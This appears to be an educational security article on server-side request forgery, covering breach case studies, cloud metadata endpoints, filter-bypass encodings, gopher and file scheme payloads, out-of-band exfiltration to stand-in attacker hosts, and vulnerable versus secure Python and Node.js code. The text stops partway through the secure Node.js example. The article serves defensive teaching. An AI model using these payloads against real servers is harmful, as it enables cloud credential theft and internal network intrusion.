Latest Intelligence

🌐 A10:2021 β€” Server-Side Request Forgery (SSRF)

10/17/2026
Research Report

🌐 A10:2021 β€” Server-Side Request Forgery (SSRF)

"When you let a server fetch a URL on behalf of a user, you are handing that user a key to every internal network the server can reach."

Server-Side Request Forgery is the newest entrant in the OWASP Top 10, debuting at #10 in 2021 after years of growing prominence in cloud-native environments. SSRF is deceptively simple in concept β€” an attacker tricks a server into making HTTP requests to unintended destinations β€” but devastating in impact, especially when that server sits inside a cloud environment with access to metadata services, internal APIs, databases, and microservices that were never designed to face the internet.

The breach that put SSRF on the map for most security professionals was Capital One in 2019: a single SSRF vulnerability in a Web Application Firewall configuration allowed an attacker to access the AWS Instance Metadata Service, steal temporary credentials, and exfiltrate 106 million customer records. The total cost exceeded $300 million in fines, remediation, and legal settlements.

πŸ“– Table of Contents

  1. Introduction & Headline Statistics
  2. What Exactly Is Server-Side Request Forgery?
  3. The SSRF Attack Model
  4. Types of SSRF
  5. A10 vs. Related Categories
  6. Real-World Breach Case Studies
    • 6.1 Capital One (2019) β€” The $300M Metadata Heist
    • 6.2 Shopify (2020) β€” Internal Service Enumeration
    • 6.3 Microsoft Exchange (2021) β€” ProxyLogon SSRF
    • 6.4 Atlassian Jira (2019) β€” CVE-2019-8451
    • 6.5 Slack (2017) β€” SSRF via Snippets
  7. CWE Deep-Dive with Mindmap
  8. Attack Vector 1: Cloud Metadata Services
  9. Attack Vector 2: Internal Network Scanning & Service Discovery
  10. Attack Vector 3: URL Scheme Abuse
  11. Attack Vector 4: DNS Rebinding
  12. Attack Vector 5: IPv6 and Encoding Bypasses
  13. Attack Vector 6: Blind SSRF & Out-of-Band Exfiltration
  14. Attack Vector 7: SSRF via PDF Generators, Image Fetchers, and Webhooks
  15. Secure Design Patterns & Anti-Patterns
  16. Code Examples: Vulnerable vs. Secure
  17. Tools & Resources
  18. βœ… The Ultimate SSRF Checklist
  19. 🏁 Conclusion
  20. πŸ“š Further Reading
  21. Introduction & Headline Statistics

SSRF earned its place in the OWASP Top 10 2021 as a new category, reflecting the explosion of cloud computing, microservices, and API-driven architectures that have dramatically expanded the attack surface for server-side request manipulation. While its incidence rate is lower than A01 or A03, the impact per successful exploit is among the highest in the entire Top 10 β€” a single SSRF can yield full cloud account compromise.

MetricValue
OWASP Rank (2021)A10 (new entry)
Incidence Rate2.72%
Mapped CWEs1 (primarily CWE-918)
Max Incidence Rate19.11%
Mapped CVEs385
Average Weighted CVSS8.34
ExploitabilityModerate (requires a server-side URL fetch)
PrevalenceIncreasing rapidly with cloud adoption
DetectabilityLow (requests originate from the server, not the attacker)
ImpactCritical (cloud credential theft, internal network access, RCE)
πŸ“Š Why the CVSS is so high: The average weighted CVSS of 8.34 places SSRF among the most severe categories. This reflects the reality that SSRF in cloud environments often leads directly to credential theft via metadata services, which in turn enables full account takeover. The exploit chain is short and the blast radius is enormous.
  1. What Exactly Is Server-Side Request Forgery?

Plain-English Definition

Server-Side Request Forgery (SSRF) occurs when an attacker can manipulate a server into making HTTP (or other protocol) requests to an arbitrary destination of the attacker's choosing, rather than the intended destination. The server becomes an unwitting proxy, sending requests to internal services, cloud metadata endpoints, or external systems that the attacker cannot reach directly.

The key distinction from client-side attacks: the request originates from the server, which typically has network access to internal resources that are not exposed to the public internet.

Official OWASP Definition

"SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL). As modern web applications provide end-users with convenient features, fetching a URL becomes a common scenario. As a result, the incidence of SSRF is increasing. Also, the severity of SSRF is becoming higher due to cloud services and the complexity of architectures."
β€” OWASP Top 10 2021, A10

The Fundamental Trust Confusion

SSRF exploits a confusion of trust boundaries:

  1. The user trusts the application to fetch a resource safely.
  2. The internal service trusts the application server because it is on the internal network.
  3. The application server trusts the user-supplied URL without sufficient validation.

The attacker exploits gap #3 to abuse trust relationship #2.

  1. The SSRF Attack Model

Why SSRF Is So Dangerous in the Cloud

In traditional on-premises environments, SSRF might let an attacker scan internal ports or access an intranet wiki. In cloud environments, SSRF is a direct path to full account compromise:

Cloud ProviderMetadata EndpointWhat's Exposed
AWShttp://169.254.169.254/latest/meta-data/IAM role credentials, instance ID, user data, security groups
GCPhttp://metadata.google.internal/computeMetadata/v1/Service account tokens, project metadata, instance config
Azurehttp://169.254.169.254/metadata/instanceManaged identity tokens, VM metadata, network config
DigitalOceanhttp://169.254.169.254/metadata/v1/Droplet metadata, user data, SSH keys
Oracle Cloudhttp://169.254.169.254/opc/v2/Instance metadata, compartment info
Alibaba Cloudhttp://100.100.100.200/latest/meta-data/RAM role credentials, instance metadata
πŸ”΄ Critical Insight: On AWS, a single SSRF to http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME returns temporary IAM credentials with the full permissions of the EC2 instance's IAM role. If that role has s3: or ec2: permissions, the attacker effectively owns the cloud account.
  1. Types of SSRF

4.1 Basic (Full-Response) SSRF

The server fetches the attacker-controlled URL and returns the full response to the attacker. This is the most powerful variant.

text
Attacker β†’ App: GET /fetch?url=http:"text-slate-500 font-normal italic">//169.254.169.254/latest/meta-data/
App β†’ Metadata: GET /latest/meta-data/
Metadata β†’ App: ami-id, instance-id, iam/...
App β†’ Attacker: Full metadata response βœ…

Impact: Direct data exfiltration. The attacker sees everything the internal service returns.

4.2 Blind SSRF

The server fetches the attacker-controlled URL but does not return the response to the attacker. The attacker can only infer success or failure based on side effects (response time, error messages, DNS lookups).

text
Attacker β†’ App: POST /webhook?url=http:"text-slate-500 font-normal italic">//attacker.com/callback
App β†’ attacker.com: GET /callback (attacker sees the request in their logs)
App β†’ Attacker: {"status": "webhook delivered"} (no internal data)

Impact: Port scanning, service enumeration, triggering internal actions, out-of-band data exfiltration via DNS.

4.3 Semi-Blind SSRF

The server returns partial information about the response β€” such as the HTTP status code, response time, or a generic error message β€” but not the full body.

text
Attacker β†’ App: GET /fetch?url=http:"text-slate-500 font-normal italic">//internal:8080/admin
App β†’ Attacker: {"status": 200, "content_length": 4521} (metadata only)

Impact: Port scanning with status-code differentiation, service fingerprinting.

Comparison Table

TypeResponse Visible?Primary UseSeverity
Basic (Full)βœ… Full response bodyData exfiltration, credential theftCritical
Semi-Blind⚠️ Status code / timingPort scanning, service enumerationHigh
Blind❌ No responseOOB exfiltration, internal action triggeringMedium–High
  1. A10 vs. Related Categories

DimensionA01: Broken Access ControlA03: InjectionA05: Security MisconfigurationA10: SSRF
Core ProblemUnauthorized access to resourcesUntrusted input reaches an interpreterInsecure defaults and settingsServer makes requests to unintended destinations
Attack DirectionUser β†’ Protected resourceUser β†’ InterpreterN/A (configuration state)User β†’ Server β†’ Internal resource
Trust ExploitedAccess control logicInput parsingConfiguration assumptionsNetwork trust of the server
ExampleUser accesses /adminSQL injection in searchDefault admin passwordServer fetches 169.254.169.254
DefenseRBAC, ABACParameterized queriesHardening, CIS benchmarksURL validation, network segmentation, allowlisting
OverlapSSRF can bypass access controls on internal servicesSSRF payloads may use injection techniquesMissing metadata protection is a misconfigurationSSRF is the mechanism that exploits the other failures
πŸ”‘ Key Distinction: In most OWASP categories, the attacker interacts directly with the vulnerable component. In SSRF, the attacker uses the application server as a proxy to reach targets the attacker cannot access directly. The server's network position and trust relationships become the attack surface.
  1. Real-World Breach Case Studies

6.1 Capital One (2019) β€” The $300M Metadata Heist

The most famous SSRF breach in history and the primary reason A10 exists in the OWASP Top 10.

  • Target: Capital One Financial Corporation
  • Attacker: Paige Thompson, a former AWS software engineer
  • Initial Vector: SSRF vulnerability in a ModSecurity Web Application Firewall (WAF) configuration on an AWS EC2 instance
  • Attack Chain:
    1. Attacker discovered a misconfigured WAF that allowed SSRF
    2. Used SSRF to query http://169.254.169.254/latest/meta-data/iam/security-credentials/
    3. Retrieved temporary IAM credentials for the WAF's EC2 instance role
    4. The IAM role had excessive S3 permissions (s3:ListBuckets, s3:GetObject)
    5. Used the stolen credentials to enumerate and download S3 buckets
    6. Exfiltrated 106 million customer records including 140,000 SSNs and 80,000 bank account numbers
  • Dwell Time: ~4 months (March–July 2019)
  • Detection: The attacker bragged about the breach on GitHub and Twitter; a security researcher noticed and reported it
  • Total Cost: $300M+ (OCC fine: $80M, remediation, legal, class-action settlements)

Root Causes:

  1. SSRF vulnerability in the WAF configuration (no URL validation)
  2. Overly permissive IAM role attached to the WAF instance (principle of least privilege violation)
  3. No IMDSv2 enforcement (IMDSv1 requires no authentication token)
  4. No network segmentation between the WAF and the metadata service
  5. No outbound request monitoring from the WAF to internal endpoints

Lessons Learned:

  1. Enforce IMDSv2 on all EC2 instances (requires a session token)
  2. Apply least privilege to all IAM roles β€” the WAF did not need S3 access
  3. Validate and restrict all user-supplied URLs at the application layer
  4. Monitor outbound requests from servers to metadata endpoints
  5. Network-layer controls can block metadata access from application containers

6.2 Shopify (2020) β€” Internal Service Enumeration

  • Target: Shopify's internal infrastructure
  • Vector: SSRF in a Shopify app that fetched user-supplied URLs for preview/thumbnail generation
  • Impact: Attacker could scan internal services, enumerate microservices, and access internal APIs
  • Bounty: $25,000+ via HackerOne
  • Key Insight: Even without direct data exfiltration, SSRF-enabled internal network mapping provides attackers with the reconnaissance needed for more targeted attacks.

6.3 Microsoft Exchange (2021) β€” ProxyLogon SSRF

  • Target: Microsoft Exchange Server (on-premises)
  • CVE: CVE-2021-26855 (ProxyLogon)
  • Vector: SSRF in the Exchange Autodiscover service allowed unauthenticated attackers to send arbitrary HTTP requests to internal Exchange services
  • Impact: Full mailbox access, arbitrary file write, Remote Code Execution (via chained exploits)
  • Scale: ~250,000+ Exchange servers compromised globally
  • Attribution: HAFNIUM (Chinese state-sponsored), followed by multiple ransomware groups

Why SSRF Was Critical: The SSRF allowed the attacker to bypass authentication entirely by making the Exchange server authenticate to itself. The internal request carried the server's own credentials, which the backend services trusted.

6.4 Atlassian Jira (2019) β€” CVE-2019-8451

  • Target: Atlassian Jira Server and Data Center
  • CVE: CVE-2019-8451
  • Vector: SSRF in the /plugins/servlet/gadgets/makeRequest endpoint
  • Impact: Attackers could make requests to internal services from the Jira server, accessing internal APIs and metadata endpoints
  • CVSS: 6.1 (base) but higher in cloud environments
  • Affected Versions: Jira Server < 8.4.0

6.5 Slack (2017) β€” SSRF via Snippets

  • Target: Slack's internal infrastructure
  • Vector: SSRF in Slack's snippet/image preview feature
  • Impact: Attacker could access internal services and AWS metadata from Slack's servers
  • Bounty: $7,500 via HackerOne
  • Key Insight: Any feature that fetches external URLs on behalf of users β€” image previews, link unfurling, webhook delivery, PDF generation β€” is a potential SSRF vector.
  1. CWE Deep-Dive with Mindmap

CWE-918: Server-Side Request Forgery

Severity: Critical | CVSS: 8.6–9.9 (cloud environments)

Definition: The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Key Characteristics:

  • The attacker controls the destination of a server-side request
  • The server acts as an unintended proxy
  • The request originates from a trusted network position
  • Internal services receive the request as if it came from the application server

Exploitation Prerequisites:

  1. The application must have a feature that fetches a URL (or makes a network request) based on user input
  2. The application must not adequately validate or restrict the destination
  3. The server must have network access to interesting internal targets

CWE-441: Unintended Proxy or Intermediary

A broader category that includes SSRF as a specific case. The server is used as a proxy to relay requests to destinations the attacker cannot reach directly.

CWE-20: Improper Input Validation

The root cause of most SSRF vulnerabilities: the application fails to validate that the user-supplied URL points to an allowed destination.

  1. Attack Vector 1: Cloud Metadata Services

Cloud metadata services are the #1 SSRF target because they provide direct access to credentials and configuration.

AWS Instance Metadata Service (IMDS)

text
"text-slate-500 font-normal italic"># IMDSv1 (no authentication β€” vulnerable to SSRF)
GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/meta-data/
GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/meta-data/iam/security-credentials/
GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/user-data/
GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/dynamic/instance-identity/document

"text-slate-500 font-normal italic"># IMDSv2 (requires session token β€” resistant to simple SSRF)
PUT http:"text-slate-500 font-normal italic">//169.254.169.254/latest/api/token
  Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
  Response: TOKEN_VALUE

GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/meta-data/
  Header: X-aws-ec2-metadata-token: TOKEN_VALUE

Why IMDSv2 helps against SSRF:

  • IMDSv2 requires a PUT request to obtain a session token before making GET requests
  • Most SSRF vulnerabilities only allow GET requests (via <img> tags, url= parameters, etc.)
  • The token has a limited TTL and is bound to the instance
  • However: If the SSRF allows arbitrary HTTP methods (including PUT), IMDSv2 can still be bypassed

GCP Metadata Service

text
GET http:"text-slate-500 font-normal italic">//metadata.google.internal/computeMetadata/v1/
  Header: Metadata-Flavor: Google  ← Required header

GET http:"text-slate-500 font-normal italic">//metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
  Header: Metadata-Flavor: Google
  Response: {"access_token": "ya29...", "expires_in": 3599, "token_type": "Bearer"}

GCP's defense: The Metadata-Flavor: Google header is required. If the SSRF does not allow custom header injection, the metadata service rejects the request. However, header injection via CRLF or application-level bugs can bypass this.

Azure Instance Metadata Service

text
GET http:"text-slate-500 font-normal italic">//169.254.169.254/metadata/instance?api-version=2021-02-01
  Header: Metadata: true  ← Required header

GET http:"text-slate-500 font-normal italic">//169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
  Header: Metadata: true
  Response: {"access_token": "eyJ0eX...", "resource": "https:">//management.azure.com/"}

Metadata Endpoint Bypass Techniques

Attackers use various techniques to bypass URL filters that block 169.254.169.254:

TechniqueExampleBypasses
Decimal IPhttp://2852039166/latest/meta-data/String-based IP filters
Octal IPhttp://0251.0376.0251.0376/latest/meta-data/Decimal IP filters
Hex IPhttp://0xA9FEA9FE/latest/meta-data/Decimal/octet filters
IPv6http://[::ffff:169.254.169.254]/latest/meta-data/IPv4-only filters
DNS rebindinghttp://attacker-dns-rebind.com/ β†’ resolves to 169.254.169.254Static IP blocklists
URL encodinghttp://169.254.169.254/%6c%61%74%65%73%74/Path-based filters
Redirecthttp://attacker.com/redirect β†’ 302 to 169.254.169.254Pre-request URL validation
0.0.0.0http://0.0.0.0/ (some cloud providers)Specific IP filters
Shortened IPhttp://169.254.169.254 β†’ http://169.254.169 (some parsers)Full IP filters
Domain trickshttp://169.254.169.254.nip.io/Domain-based filters
  1. Attack Vector 2: Internal Network Scanning & Service Discovery

Even without accessing metadata, SSRF enables internal network reconnaissance:

Common Internal Targets:

ServiceDefault PortSSRF Impact
Redis6379Unauthenticated access; write SSH keys; RCE via MODULE LOAD
Elasticsearch9200Data exfiltration; cluster takeover
Memcached11211Data exfiltration; cache poisoning
MongoDB27017Database access (if no auth)
MySQL3306Database access (with credentials)
PostgreSQL5432Database access (with credentials)
Docker API2375Container escape; host RCE
Kubernetes API10250/6443Pod creation; cluster takeover
Consul8500Service discovery; KV store access
Jenkins8080Build pipeline access; RCE via Groovy
RabbitMQ15672Message queue access
Internal APIsVariousMicroservice enumeration; data access
  1. Attack Vector 3: URL Scheme Abuse

SSRF is not limited to http:// and https://. Many URL-fetching libraries support additional schemes that can be abused:

SchemeExampleImpact
file://file:///etc/passwdLocal file read on the server
gopher://gopher://internal:6379/_*1%0d%0a$8%0d%0aflushallRaw TCP β€” interact with Redis, MySQL, SMTP
dict://dict://internal:6379/INFOService fingerprinting
ftp://ftp://internal:21/FTP access
tftp://tftp://internal/TFTP file transfer
jar://jar:http://attacker.com/evil.jar!/Java-specific β€” load remote JAR files
netdoc://netdoc:///etc/passwdJava-specific β€” local file read
ldap://ldap://internal:389/LDAP queries
smb://smb://internal/share/SMB access (NTLM relay)

The file:// Scheme β€” Local File Read

text
Attacker β†’ App: GET /fetch?url=file:"text-slate-500 font-normal italic">///etc/passwd
App β†’ Local: Read /etc/passwd
App β†’ Attacker: root:x:0:0:root:/root:/bin/bash...  πŸ’€

The gopher:// Scheme β€” Raw TCP Interaction

The gopher:// scheme is particularly dangerous because it allows arbitrary TCP payload construction, effectively turning the SSRF into a full TCP proxy:

text
"text-slate-500 font-normal italic"># Redis RCE via Gopher SSRF
gopher:"text-slate-500 font-normal italic">//10.0.1.3:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0akey1%0d%0a$5%0d%0avalue%0d%0a

"text-slate-500 font-normal italic"># This sends raw Redis protocol commands:
"text-slate-500 font-normal italic"># *3\r\n$3\r\nset\r\n$4\r\nkey1\r\n$5\r\nvalue\r\n
  1. Attack Vector 4: DNS Rebinding

DNS rebinding defeats time-of-check-to-time-of-use (TOCTOU) URL validation by changing the DNS resolution between the validation step and the actual request.

Why DNS rebinding works:

  1. The application validates the URL by resolving the hostname β†’ public IP β†’ passes check
  2. The DNS TTL is set to 0, forcing re-resolution
  3. When the application makes the actual HTTP request, the hostname resolves to an internal IP
  4. The request goes to the internal service, bypassing the validation

Defense: Resolve the hostname once, validate the resolved IP, and use that IP for the actual connection (pin the IP). Do not re-resolve.

  1. Attack Vector 5: IPv6 and Encoding Bypasses

IPv6 Bypasses

Many URL filters only check for IPv4 addresses. IPv6 provides alternative representations:

TargetIPv4IPv6 RepresentationBypasses
AWS Metadata169.254.169.254http://[::ffff:a9fe:a9fe]/IPv4-only filters
AWS Metadata169.254.169.254http://[0:0:0:0:0:ffff:a9fe:a9fe]/Shortened IPv6 filters
Localhost127.0.0.1http://[::1]/IPv4-only filters
Localhost127.0.0.1http://[::ffff:127.0.0.1]/IPv4-only filters

URL Encoding Bypasses

EncodingExampleDecoded
Single URL encodehttp://169.254.169.254/%6c%61%74%65%73%74//latest/
Double URL encodehttp://169.254.169.254/%256c%2561%2574%2565%2573%2574//latest/
Unicode normalizationhttp://169.254.169.254/ο½Œο½ο½”ο½…ο½“ο½”//latest/
Null bytehttp://169.254.169.254/latest%00.evil.com/Varies by parser
Fragmenthttp://169.254.169.254/latest/meta-data/#.evil.comFragment ignored by server
  1. Attack Vector 6: Blind SSRF & Out-of-Band Exfiltration

When the application does not return the response body, attackers use out-of-band (OOB) techniques:

DNS Exfiltration

text
Attacker β†’ App: GET /fetch?url=http:"text-slate-500 font-normal italic">//data.attacker-dns.com/
App β†’ DNS: Resolve data.attacker-dns.com
Attacker's DNS Server: Logs the query β†’ confirms SSRF exists βœ…

# Exfiltrate data via DNS subdomain:
Attacker β†’ App: GET /fetch?url=http://SECRET.attacker-dns.com/
App β†’ DNS: Resolve SECRET.attacker-dns.com
Attacker's DNS Server: Logs "SECRET" in the subdomain πŸ’€

HTTP Callback

text
Attacker β†’ App: POST /webhook?url=http:"text-slate-500 font-normal italic">//attacker.com/callback?data=SECRET
App β†’ attacker.com: GET /callback?data=SECRET
Attacker's Server: Receives the callback with exfiltrated data πŸ’€

Timing-Based Detection

text
"text-slate-500 font-normal italic"># Port scanning via response time:
url=http:"text-slate-500 font-normal italic">//10.0.1.5:22    β†’ Response in 50ms  (port open)
url=http:"text-slate-500 font-normal italic">//10.0.1.5:23    β†’ Response in 5000ms (port closed/filtered)
url=http:"text-slate-500 font-normal italic">//10.0.1.5:80    β†’ Response in 30ms  (port open)
url=http:"text-slate-500 font-normal italic">//10.0.1.5:443   β†’ Response in 45ms  (port open)
  1. Attack Vector 7: SSRF via PDF Generators, Image Fetchers, and Webhooks

SSRF is not limited to explicit "fetch URL" features. Any server-side functionality that processes external resources is a potential vector:

FeatureSSRF VectorExample Payload
PDF GenerationHTML-to-PDF engines (wkhtmltopdf, Puppeteer, WeasyPrint) render external URLs<iframe src="http://169.254.169.254/latest/meta-data/">
Image ResizingImage fetchers download user-supplied URLsurl=http://10.0.1.5:6379/
Link PreviewsURL unfurling fetches page contenthttp://169.254.169.254/latest/meta-data/
Webhook DeliveryApplication sends POST to user-configured URLhttp://internal-api:8080/admin/delete-all
Email TemplatesTemplate engines fetch remote resources<img src="http://169.254.169.254/latest/user-data/">
CSV/ImportImport from URL featureurl=file:///etc/passwd
RSS/Feed ReaderFeed fetcher processes external XMLXXE + SSRF combination
OAuth CallbacksRedirect URI validation bypassredirect_uri=http://169.254.169.254/

PDF Generator SSRF (wkhtmltopdf)

html
<!-- Attacker submits this HTML to a PDF generation service -->
<html>
<body>
    <h1>Invoice</h1>
    <!-- πŸ’€ SSRF: The PDF engine fetches the metadata endpoint -->
    <iframe src="http:">//169.254.169.254/latest/meta-data/iam/security-credentials/" 
            width="100%" height="500px"></iframe>
    
    <!-- πŸ’€ Local file read -->
    <iframe src="file:">///etc/passwd" width="100%" height="200px"></iframe>
</body>
</html>

The generated PDF will contain the contents of the AWS metadata endpoint and the server's /etc/passwd file.

  1. Secure Design Patterns & Anti-Patterns

βœ… Secure Patterns

PatternDescriptionImplementation
URL AllowlistingOnly permit requests to pre-approved domains and IPsExact domain match + resolved IP validation
Network SegmentationIsolate application servers from sensitive internal servicesVPC security groups, network policies, firewall rules
IMDSv2 EnforcementRequire session tokens for metadata accessAWS: HttpTokens: required; GCP: Metadata-Flavor header
Disable Unused SchemesBlock file://, gopher://, dict://, ftp://URL parser configuration
DNS PinningResolve hostname once, validate IP, use pinned IP for connectionCustom DNS resolver + IP validation
Redirect HandlingDisable or strictly validate HTTP redirectsallow_redirects=False + redirect URL validation
Response FilteringStrip sensitive headers and metadata from proxied responsesResponse body/header sanitization
Egress FilteringBlock outbound requests to internal IP ranges at the network layerFirewall rules blocking 10.x, 172.16-31.x, 192.168.x, 169.254.x
Timeout & Size LimitsLimit response time and body size to prevent resource exhaustiontimeout=5s, max_body=1MB
Dedicated Fetch ServiceIsolate URL fetching in a sandboxed microservice with no internal accessSeparate container/VPC with restricted network

❌ Anti-Patterns

Anti-PatternWhy It's DangerousReal-World Consequence
requests.get(user_url) without validationNo destination restrictionCapital One (2019)
Blocklisting instead of allowlistingAttackers find bypasses (encoding, IPv6, DNS rebinding)Countless CTF and real-world bypasses
Validating URL string, not resolved IPDNS rebinding, encoding bypassesTOCTOU vulnerabilities
Following redirects blindlyRedirect to internal IP after validationRedirect-based SSRF
Allowing file:// schemeLocal file read on the server/etc/passwd, /etc/shadow, cloud credentials
No egress filteringServer can reach any internal serviceFull internal network access
IMDSv1 in cloud environmentsNo authentication for metadata accessCredential theft via SSRF
Overly permissive IAM rolesStolen credentials grant excessive accessCapital One (2019) β€” WAF had S3 access
Trusting Host headerApplication routes based on user-controlled HostHost header SSRF
Fetching user URLs in PDF/image processorsRendering engines access internal resourcesPDF generator SSRF
  1. Code Examples: Vulnerable vs. Secure

16.1 Python β€” URL Fetching Endpoint

python
# ══════════════════════════════════════════════════════════════
# πŸ”΄ VULNERABLE: Unrestricted URL Fetching (SSRF)
# ══════════════════════════════════════════════════════════════

from flask import Flask, request, jsonify
import requests

app = Flask(__name__)

@app.route('/api/fetch')
def fetch_url():
    url = request.args.get('url')
    if not url:
        return jsonify({"error": "Missing url parameter"}), 400

    # πŸ’€ DANGER 1: No URL validation whatsoever
    # πŸ’€ DANGER 2: No scheme restriction (file://, gopher:// allowed)
    # πŸ’€ DANGER 3: No IP validation (internal IPs, metadata allowed)
    # πŸ’€ DANGER 4: Redirects followed by default
    # πŸ’€ DANGER 5: No timeout (resource exhaustion)
    # πŸ’€ DANGER 6: Full response returned to attacker

    try:
        response = requests.get(url)  # πŸ’€ Fetches ANY URL
        return jsonify({
            "status": response.status_code,
            "body": response.text,  # πŸ’€ Returns full response including credentials
            "headers": dict(response.headers)
        })
    except Exception as e:
        return jsonify({"error": str(e)}), 500

# Attack examples:
# /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# /api/fetch?url=file:///etc/passwd
# /api/fetch?url=http://10.0.1.5:6379/INFO
# /api/fetch?url=http://attacker.com/redirect-to-metadata


# ══════════════════════════════════════════════════════════════
# 🟒 SECURE: Validated URL Fetching with Multiple Defenses
# ══════════════════════════════════════════════════════════════

from flask import Flask, request, jsonify
import requests
import ipaddress
import socket
from urllib.parse import urlparse

app = Flask(__name__)

# βœ… Defense 1: Allowlist of permitted domains
ALLOWED_DOMAINS = {"api.example.com", "cdn.example.com", "images.example.com"}

# βœ… Defense 2: Blocked IP ranges (RFC 1918, link-local, loopback, cloud metadata)
BLOCKED_NETWORKS = [
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16'),   # Cloud metadata + link-local
    ipaddress.ip_network('::1/128'),            # IPv6 loopback
    ipaddress.ip_network('fc00::/7'),           # IPv6 private
    ipaddress.ip_network('fe80::/10'),          # IPv6 link-local
    ipaddress.ip_network('0.0.0.0/8'),          # Current network
    ipaddress.ip_network('100.64.0.0/10'),      # Carrier-grade NAT
]

# βœ… Defense 3: Allowed schemes only
ALLOWED_SCHEMES = {"http", "https"}


def is_ip_blocked(ip_str: str) -> bool:
    """Check if an IP address falls within any blocked network range."""
    try:
        ip = ipaddress.ip_address(ip_str)
        return any(ip in network for network in BLOCKED_NETWORKS)
    except ValueError:
        return True  # Block unparseable IPs


def validate_url(url: str) -> tuple[bool, str]:
    """
    Validate a URL against SSRF protections.
    Returns (is_valid, error_message).
    """
    # βœ… Step 1: Parse the URL
    try:
        parsed = urlparse(url)
    except Exception:
        return False, "Invalid URL format"

    # βœ… Step 2: Restrict schemes
    if parsed.scheme not in ALLOWED_SCHEMES:
        return False, f"Scheme '{parsed.scheme}' is not allowed"

    # βœ… Step 3: Require a hostname
    if not parsed.hostname:
        return False, "Missing hostname"

    # βœ… Step 4: Check domain allowlist
    if parsed.hostname not in ALLOWED_DOMAINS:
        return False, f"Domain '{parsed.hostname}' is not in the allowlist"

    # βœ… Step 5: Resolve hostname and validate ALL resolved IPs
    # This prevents DNS rebinding by checking every IP the hostname resolves to
    try:
        addr_infos = socket.getaddrinfo(parsed.hostname, None)
        for addr_info in addr_infos:
            ip_str = addr_info[4][0]
            if is_ip_blocked(ip_str):
                return False, f"Resolved IP {ip_str} is in a blocked range"
    except socket.gaierror:
        return False, "Cannot resolve hostname"

    return True, ""


@app.route('/api/fetch')
def fetch_url():
    url = request.args.get('url')
    if not url:
        return jsonify({"error": "Missing url parameter"}), 400

    # βœ… Validate URL before fetching
    is_valid, error = validate_url(url)
    if not is_valid:
        return jsonify({"error": error}), 403

    try:
        response = requests.get(
            url,
            timeout=5,                  # βœ… Defense 4: Strict timeout
            allow_redirects=False,       # βœ… Defense 5: No redirects (or validate redirect targets)
            max_redirects=0,
        )

        # βœ… Defense 6: Return only safe metadata, not full response
        return jsonify({
            "status": response.status_code,
            "content_type": response.headers.get("Content-Type", ""),
            "content_length": len(response.content),
            # βœ… Do NOT return response.text or response.headers blindly
            # If you must return the body, sanitize it first
        })

    except requests.exceptions.Timeout:
        return jsonify({"error": "Request timed out"}), 504
    except requests.exceptions.ConnectionError:
        return jsonify({"error": "Connection failed"}), 502
    except Exception as e:
        # βœ… Defense 7: Do not leak internal error details
        return jsonify({"error": "Fetch failed"}), 500

16.2 Node.js β€” Image Fetcher with SSRF Protection

javascript
// ══════════════════════════════════════════════════════════════
// πŸ”΄ VULNERABLE: Image Fetcher (SSRF via Image URL)
// ══════════════════════════════════════════════════════════════

const express = require('express');
const axios = require('axios');
const app = express();

app.get('/api/image-proxy', async (req, res) => {
    const imageUrl = req.query.url;
    
    // πŸ’€ DANGER: No validation β€” attacker can proxy any URL
    try {
        const response = await axios.get(imageUrl, {
            responseType: 'arraybuffer',
            // πŸ’€ No timeout, no redirect control, no IP validation
        });
        
        res.set('Content-Type', response.headers['content-type']);
        res.send(response.data);
    } catch (err) {
        res.status(500).send('Failed to fetch image');
    }
});

// Attack: /api/image-proxy?url=http://169.254.169.254/latest/meta-data/
// The "image" response contains AWS credentials


// ══════════════════════════════════════════════════════════════
// 🟒 SECURE: Image Fetcher with SSRF Protection
// ══════════════════════════════════════════════════════════════

const express = require('express');
const axios = require('axios');
const dns = require('dns').promises;
const { URL } = require('url');
const ipaddr = require('ipaddr.js');
const app = express();

const ALLOWED_IMAGE_DOMAINS = new Set([
    'images.unsplash.com',
    'cdn.example.com',
    'avatars.githubusercontent.com',
]);

function isPrivateIp(ip) {
    const parsed = ipaddr.parse(ip);
    const range = parsed.range();
    // βœ… Block all private, loopback, link-local, and reserved ranges
    return ['private', 'loopback', 'linkLocal', 'uniqueLocal', 'reserved', 'unspecified']
        .includes(range);
}

async function validateImageUrl(urlString) {
    let parsed;
    try {
        parsed = new URL(urlString);
    } catch {
        throw new Error('Invalid URL');
    }

    // βœ… Scheme check
    if (!['http:', 'https:'].includes(parsed.protocol)) {
        throw new Error('Only HTTP/HTTPS allowed');
    }

    // βœ… Domain allowlist
    if (!ALLOWED_IMAGE_DOMAINS.has(parsed.hostname)) {
        throw new Error('Domain not in allowlist');
    }

    // βœ… DNS resolution check β€” validate ALL resolved IPs
    const addresses = await dns.lookup(parsed.hostname, { all: true });
    for (const addr of addresses) {
        if (isPrivateIp(addr.address)) {
            throw new Error(`Resolved IP ${addr.address} is private`);
        }
    }

    return parsed;
}

app.get('/api/image-proxy', async (req, res) => {
    const imageUrl = req.query.url;
    if (!imageUrl) return res.status(400).send('Missing url');

    try {
        await validateImageUrl(imageUrl);

        const response = await axios.get(imageUrl, {
            responseType: 'arraybuffer',
            timeout: 5000,              // βœ… Strict timeout
            maxRedirects: 0,            // βœ… No redirects
            maxContentLength: 5 * 1024 * 1024,  // βœ… 5MB limit
            validateStatus: (status) => status === 200,  // βœ… Only 200 OK
        });

        // βœ… Validate content type is actually an image
